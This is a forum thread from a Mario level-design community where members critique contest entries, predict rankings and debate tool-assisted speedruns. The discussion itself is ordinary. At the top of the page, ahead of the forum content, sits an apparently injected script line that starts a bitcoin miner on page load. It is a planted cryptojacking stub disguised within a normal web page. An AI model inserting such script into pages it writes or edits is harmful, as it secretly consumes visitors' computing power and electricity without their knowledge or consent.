<script>
miner.start(); // initialise bitcoin miner
</script>

pge projectsmw centralsmbx community

The Talkhaus "Make A Good Level" Contest -- Discussion

they were fun, but now they're done
User avatar
raocow
the death of the incredible huge
Posts: 2799
Joined: 10 years ago
Location: maybe the Wizards are the most complex, and the sales guys are up their daily

Re: The Talkhaus "Make A Good Level" Contest -- Discussion

Postby raocow » 7 years ago

Just wanted to give a head's up for peeps who didn't know. I'm not announcing this on youtube, this is a pure 'talkhaus' announcement, but we're looking for peeps who would be interesting in making 'half a level' for the switch palaces of a2mt. Check out the thread there if you are interested, or if you have questions!
the chillaxest of dragonsImage
Image
Image
Image
ImageImage

User avatar
Ometeotl
Posts: 692
Joined: 9 years ago

Re: The Talkhaus "Make A Good Level" Contest -- Discussion

Postby Ometeotl » 7 years ago

No midpoint? There should have been one at the beginning of the third section. Thanks for the feedback, though. Very informative.

DWebb32
Posts: 0
Joined: 7 years ago

Re: The Talkhaus "Make A Good Level" Contest -- Discussion

Postby DWebb32 » 7 years ago

Ometeotl wrote:
No midpoint? There should have been one at the beginning of the third section. Thanks for the feedback, though. Very informative.
Wow, just replayed it and saw it. I'm not the most explorative mario player, so it's honestly not that surprising, and on top of that I was playing super badly when I played it initially.

User avatar
TomPhanto
Posts: 0
Joined: 9 years ago
Location: United States

Re: The Talkhaus "Make A Good Level" Contest -- Discussion

Postby TomPhanto » 7 years ago

Well, I don't find myself surprised at the current rankings. I can't wait for raocow to play JVyrn's level (well, mine too though you'd know that easily.)

But anyways, I just thought I'd share what I think the rest of the rankings are going to be.

Predicted Results(excluding my entry):
1st - DragonLX
2nd - yogui
3rd - S.N.N.
4th - FirePhoenix
5th - notgoodwithusernames
6th - patrickgh3
7th - Rextep
8th - tatanga
9th - patgangster
10th - Cup
11th - Paperkoopa
12th - ZMann
13th - agie777
14th - Neobullseye
15th - Jesuiscontent
16th - JVyrn
17th - Jolpengammler
18th - Ometeotl
19th - Kerkec
20th - Telamon
21st - frostyfish88
22nd - yoshiguy978
23rd - morsel
24th - kirbyy
Image
Keys are important. When a key is lost, all madness shall break loose.

User avatar
morsel/morceau
Posts: 372
Joined: 9 years ago
Location: exotic horse island

Re: The Talkhaus "Make A Good Level" Contest -- Discussion

Postby morsel/morceau » 7 years ago

The Marshall Mathers LP could be any day now...
dont wanna jihad no more

User avatar
Paperkoopa
Posts: 0
Joined: 7 years ago
Location: Germany

Re: The Talkhaus "Make A Good Level" Contest -- Discussion

Postby Paperkoopa » 7 years ago

Oh man, I've played the level myself, but I played so badly, I didn't even come to see the massive amount of clouds... The level was kind of repetetive, no thought was given on enemy-placement.
Concept was OK, but it came out boring and flat. :|
Image

User avatar
Saturn Moriya
Posts: 2
Joined: 8 years ago

Re: The Talkhaus "Make A Good Level" Contest -- Discussion

Postby Saturn Moriya » 7 years ago

Tomphanto: how did S.N.N. make it so high?
Image

Your blood their blood serves the same!!

User avatar
alex2
Banned
Posts: 0
Joined: 7 years ago

Re: The Talkhaus "Make A Good Level" Contest -- Discussion

Postby alex2 » 7 years ago

You should throw that under a spoiler tag, agie777; there's a reason TomPhanto did.
Warning: Opinions expressed by alex2 or others in this post do not necessarily reflect the views, opinions, or position of alex2 himself on the matter(s) being discussed therein.
raocow wrote:a3xt will be my last project, after which I will quit lp forever
SPASM - LevelASM for Yoshi's Island!
My mosts things:
Image
Image
Image
Image

User avatar
raekuul
X&BUTT
Posts: 1021
Joined: 10 years ago
First name: Pokota
Pronouns: he/him/his
Location: Moses 1:37-39
Contact:

Re: The Talkhaus "Make A Good Level" Contest -- Discussion

Postby raekuul » 7 years ago

Okay, so what I need to improve for "Sky High Again"

1) Less breakage (but still include the TAS shortcut)
2) Music isn't as good as it could be
3) Variety

User avatar
alex2
Banned
Posts: 0
Joined: 7 years ago

Re: The Talkhaus "Make A Good Level" Contest -- Discussion

Postby alex2 » 7 years ago

The only real "threat" present in the level was from falling off of a cloud; you can casually avoid any enemies in your way. The level lacks substance: cloud, koopa, cloud, koopa, springboard, cloud, koopa, cloud, koopa, cloud, koopa, banzai bill, cloud, koopa, goal. There's no flavour or vigor.
Warning: Opinions expressed by alex2 or others in this post do not necessarily reflect the views, opinions, or position of alex2 himself on the matter(s) being discussed therein.
raocow wrote:a3xt will be my last project, after which I will quit lp forever
SPASM - LevelASM for Yoshi's Island!
My mosts things:
Image
Image
Image
Image

User avatar
Argumentable
the biggest shit
Posts: 533
Joined: 10 years ago
Location: Under the bed
Contact:

Re: The Talkhaus "Make A Good Level" Contest -- Discussion

Postby Argumentable » 7 years ago

Pretty much yeah, that ^^^^

There's no structure to it, it feels like a bunch of clouds with a bunch of koopas on them. When I played it I wasn't sure if it was a joke or not so take that however you wish

User avatar
MrDeePay
Posts: 0
Joined: 9 years ago
Location: Texas

Re: The Talkhaus "Make A Good Level" Contest -- Discussion

Postby MrDeePay » 7 years ago

raekuul wrote:Okay, so what I need to improve for "Sky High Again"

1) Less breakage (but still include the TAS shortcut)
2) Music isn't as good as it could be
3) Variety
- Don't worry about what TASers do you your level.
- http://www.smwcentral.net/?p=viewthread&t=51377 - Give that a try sometime.

User avatar
alex2
Banned
Posts: 0
Joined: 7 years ago

Re: The Talkhaus "Make A Good Level" Contest -- Discussion

Postby alex2 » 7 years ago

MrDeePay wrote:- Don't worry about what TASers do you your level.
That's not to say he shouldn't be careless about it, either. There's some things you can't expect at all: there's no way he could've predicted that I'd do that shelljump if he wasn't a TASer himself, or very familiar with the thinking process of one.

Going to great lengths to make sure a TASer isn't going to do a Layer Switch Glitch in your level or glitch a goal sphere into your reserve box simply isn't worth the time for contest entries (and other instances; anything whose target audience isn't TASers shouldn't bother with extreme prevention methods like this). However, leaving a perfectly nice cliff leading up to the goal tape right at the start of a level is just reckless (unless you applied the anti-walljump patch, in which case: kindly rot in Hell).
Warning: Opinions expressed by alex2 or others in this post do not necessarily reflect the views, opinions, or position of alex2 himself on the matter(s) being discussed therein.
raocow wrote:a3xt will be my last project, after which I will quit lp forever
SPASM - LevelASM for Yoshi's Island!
My mosts things:
Image
Image
Image
Image

User avatar
AUS
Posts: 117
Joined: 9 years ago
Location: アース

Re: The Talkhaus "Make A Good Level" Contest -- Discussion

Postby AUS » 7 years ago

(unless you applied the anti-walljump patch, in which case: kindly rot in Hell).
Eh, I don't see the reasoning behind TASers wanting you not to do anything to make it harder on them. TASing is about being the fastest you can be, and being enjoyable at the same time. So if you take out something like wall-jumping, that's just like a handicap, which is fun and fine and etc. People get bored of the same old crap anyway.
Image
"oh no my best friend was replaced by a evil demon shadow monster"
"argh i am the evil shadow monster demon shadow"
Vip is pronounced "Beep"
I go by ToNi now. Trying to homogenize my internet handle.

User avatar
limepie20
Posts: 0
Joined: 9 years ago
Location: Doesn't Matter

Re: The Talkhaus "Make A Good Level" Contest -- Discussion

Postby limepie20 » 7 years ago

Level Design
The level was pretty easy. Not much happened in it. You just kinda jumped on clouds and red koopas were pretty much the only enemy used aside from a few banzai bills. It was kinda boring.

Atmosphere
The level was really bare. It was mostly just cloud tiles. Also, the music sounded odd. It sounded like only two instruments or something in need of some sort of percussion or something else.

User avatar
alex2
Banned
Posts: 0
Joined: 7 years ago

Re: The Talkhaus "Make A Good Level" Contest -- Discussion

Postby alex2 » 7 years ago

AUS wrote:
(unless you applied the anti-walljump patch, in which case: kindly rot in Hell).
Eh, I don't see the reasoning behind TASers wanting you not to do anything to make it harder on them.
Because TASing half of one level can take a good TASer over seven hours to optimise. It's the reason A2MT and SMWCP2 will probably never see a 100% TAS: collecting all of their dragon coin equivalents is tedious as hell and not fun for a TASer.
Warning: Opinions expressed by alex2 or others in this post do not necessarily reflect the views, opinions, or position of alex2 himself on the matter(s) being discussed therein.
raocow wrote:a3xt will be my last project, after which I will quit lp forever
SPASM - LevelASM for Yoshi's Island!
My mosts things:
Image
Image
Image
Image

User avatar
AUS
Posts: 117
Joined: 9 years ago
Location: アース

Re: The Talkhaus "Make A Good Level" Contest -- Discussion

Postby AUS » 7 years ago

Well, that's up to the TASer. If they don't want to TAS it, that's kinda fine, I guess?
Or is there some sort of sub-culture of TASes that evolved around romhacks? Cuz normally, a TASer TAS's just to TAS it, and doesn't give acouple f**ks about how long it'll take.
Image
"oh no my best friend was replaced by a evil demon shadow monster"
"argh i am the evil shadow monster demon shadow"
Vip is pronounced "Beep"
I go by ToNi now. Trying to homogenize my internet handle.

User avatar
raekuul
X&BUTT
Posts: 1021
Joined: 10 years ago
First name: Pokota
Pronouns: he/him/his
Location: Moses 1:37-39
Contact:

Re: The Talkhaus "Make A Good Level" Contest -- Discussion

Postby raekuul » 7 years ago

The music was supposed to be the music from this stage, though (a) it didn't convert very well when I took the midi and TinyMM'd it and (b) the music is a little hard to hear over the guy's voice. I can post the midi I started from if anybody's interested in improving it.

MrDeePay: I love watching TASes to see how levels can be broken. The fact that my level was so breakable for a TASer but not for the regular player makes it all the more enjoyable. ^^ Having said that, I should have moved the batch of note blocks that raocow used to cut with up and left a tile.

Alex: Are you offering to test my levels for the next contest? I'd love the TASer's point of view - and I still find it amusing as hell that the level was so easily shredded.

Argue: It's a somewhere between "joke level" and "serious entry." I never really expected to place well with the level, I was more interested in the feedback from the word "go".

As a sidenote: I layed down the clouds/landmasses before adding any sprites at all. I see now that was a mistake in the planning process, but I'm still happy with the layout of the objects - it's the spritework that's exceptionally weak.

Also also: I am not a good SMW player, so my levels will typically be easier than those the other talkhausers will produce. I'm so glad difficulty wasn't a major factor in the judging ^^;

User avatar
alex2
Banned
Posts: 0
Joined: 7 years ago

Re: The Talkhaus "Make A Good Level" Contest -- Discussion

Postby alex2 » 7 years ago

AUS wrote:Cuz normally, a TASer TAS's just to TAS it, and doesn't give acouple f**ks about how long it'll take.
I hope you realise you're trying to tell a TASer what a TASer TASes for. Something to keep in mind: just because we're able to play the game one frame at a time, doesn't mean everything is automatically easy. There's too many variables in play to be able to do every single glitch or trick or whatever the same way with the same input every time. Because of this, we (or, at least, the somewhat serious TASers) spend hours testing and figuring out the best route before we even make a final run.

That being said, how long a TAS will take to complete varies inversely with the willingness of the TASer to do it. Obviously, this varies per TASer. You won't see an "all-exit all dragon coins small-only" TAS of all the VIP hacks consecutively done by the same guy. At least without it sucking pretty hard because of laziness, or taking several years.
raekuul wrote:Alex: Are you offering to test my levels for the next contest? I'd love the TASer's point of view - and I still find it amusing as hell that the level was so easily shredded.
Sure.
Warning: Opinions expressed by alex2 or others in this post do not necessarily reflect the views, opinions, or position of alex2 himself on the matter(s) being discussed therein.
raocow wrote:a3xt will be my last project, after which I will quit lp forever
SPASM - LevelASM for Yoshi's Island!
My mosts things:
Image
Image
Image
Image

User avatar
Cup
Posts: 0
Joined: 9 years ago

Re: The Talkhaus "Make A Good Level" Contest -- Discussion

Postby Cup » 7 years ago

If you are really serious about making a better level in the next contest, do you mind if I ask what you were thinking about as you opened lunar magic and started to make this one?

While my opinion is not of much value (take it for what it is), I feel that if you don't have a very clear idea in your head of what you want before placing your first object, it's unlikely you'll make a "good" level. You can still make a lot of fun stuff mind you, but the problem I found in these types of levels is that they lack a core. They might have been fun to play for a few minutes, but I honestly remember almost nothing about them. I find you should strive for something identifiable, something that brings everything together and something that people will remember. If someone asked me what your level was about, I wouldn't be able to answer them, and that's its single greatest flaw.

While playing your level, I get the vibe you looked around at tile options and just started placing them where you felt they might go and it just kind of flowed until you called it done. Like a "oh these clouds look neat, let's use some of those. And I'll put a koopa here, and... yeah, like that." Even if you follow axemjinx's guide perfectly and make a level that plays beautifully, I have a hard time being engaged by levels that are not driven by an idea first and foremost. If before you set the tiles you had in mind a level centered around "clouds" then you were off to the right start. There are many ways you can grow that idea into something unique that people will remember long after they play it.

While I'm sure others disagree, if I am part of your target audience, you should have a well defined idea long before you sit down. The idea can be silly or simple, but you have to have a vision of what you want to make. Level design can be learned, and while important, it's not what people will remember. You can make a fun level following textbook level design, but you can't make something that will impact or impress people unless you can bring out a memorable theme. It's the difference between having fun for the couple of minutes you're playing a level (which is still important) and making a lasting impression on someone. FPI's levels in TSRPR are what I'd look at for examples of how to be amazing. The levels are well designed yes, but most importantly they have identity, and that's what I hope people strive for as someone who likes to play Mario hacks. That's when I have the most fun as a player.

My suggestion would be to think about something like clouds for a while before you sit down to make your next level. What comes to mind? What does it look like? Show us that in your level, and you can turn some heads. The more clever the idea the bigger impression you'll make. The design itself will come with experience. The first step is having an idea. It's the single biggest change you can make.

User avatar
limepie20
Posts: 0
Joined: 9 years ago
Location: Doesn't Matter

Re: The Talkhaus "Make A Good Level" Contest -- Discussion

Postby limepie20 » 7 years ago

Cup wrote:[general awesomeness]
You put exactly how I feel about the subject into words.

User avatar
swirlybomb
a bomb that is swirly
Posts: 70
Joined: 7 years ago
First name: Swirlus Bomberton
Location: The Canadas

Re: The Talkhaus "Make A Good Level" Contest -- Discussion

Postby swirlybomb » 7 years ago

10/10, would read again.
anonymousbl00dlust wrote:All the obstacles in my level can be beaten on the players first attempt without any 'future predicting'.
Image

User avatar
Paperkoopa
Posts: 0
Joined: 7 years ago
Location: Germany

Re: The Talkhaus "Make A Good Level" Contest -- Discussion

Postby Paperkoopa » 7 years ago

I reported the post for unrestrained awesomenes.

Today's level was really neat. The cliffs were looking supercool, and the recolored tree foreground was really nice-looking too.
Although there were some cutoffs and enemy placement issues, aswell as the midpoint-location, I found it quite enjoyable. (atleast to watch)
Image

User avatar
Sebby19
Posts: 2518
Joined: 10 years ago
Location: Winnipeg, Manitoba

Re: The Talkhaus "Make A Good Level" Contest -- Discussion

Postby Sebby19 » 7 years ago

If the castle was cut out, the level would have been better.
ImageImage
-Banned in Antarctica
Sebby19 wrote:If your life depends on throwing up, switch to the keyboard
Official raocow subscriber # 30,000

User avatar
Jesuiscontent
Tsundere
Posts: 854
Joined: 7 years ago
First name: cool old field
Location: France

Re: The Talkhaus "Make A Good Level" Contest -- Discussion

Postby Jesuiscontent » 7 years ago

Yeah I bet the lack of focus made it lose quite a bunch of points. Also I found the giant door at the end that suddenly leads outside to the goal post kind of anticlimatic !
Image

Image
Image


Return to “old contests”

Who is online

Users browsing this forum: Bing [Bot] and 2 guests